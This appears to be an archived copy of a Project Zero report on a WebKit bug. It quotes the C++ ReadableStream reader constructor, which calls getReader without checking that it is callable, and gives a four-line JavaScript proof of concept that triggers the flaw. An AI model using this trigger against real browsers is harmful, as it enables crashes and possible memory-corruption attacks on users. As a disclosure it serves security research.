34 lines
No EOL
1,010 B
HTML
34 lines
No EOL
1,010 B
HTML
<!--
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1085
|
|
|
|
EncodedJSValue JSC_HOST_CALL constructJSReadableStreamDefaultReader(ExecState& exec)
|
|
{
|
|
VM& vm = exec.vm();
|
|
auto scope = DECLARE_THROW_SCOPE(vm);
|
|
|
|
JSReadableStream* stream = jsDynamicDowncast<JSReadableStream*>(exec.argument(0));
|
|
if (!stream)
|
|
return throwArgumentTypeError(exec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream");
|
|
|
|
JSValue jsFunction = stream->get(&exec, Identifier::fromString(&exec, "getReader")); <<--- 1
|
|
|
|
CallData callData;
|
|
CallType callType = getCallData(jsFunction, callData);
|
|
MarkedArgumentBuffer noArguments;
|
|
return JSValue::encode(call(&exec, jsFunction, callType, callData, stream, noArguments));
|
|
}
|
|
|
|
It doesn't check whether |getReader| is callable or not.
|
|
|
|
PoC:
|
|
-->
|
|
|
|
let rs = new ReadableStream();
|
|
let cons = rs.getReader().constructor;
|
|
|
|
rs.getReader = 0x12345;
|
|
new cons(rs);
|
|
|
|
<!--
|
|
Tested on Webkit Nightly 10.0.2(12602.3.12.0.1, r210800)
|
|
--> |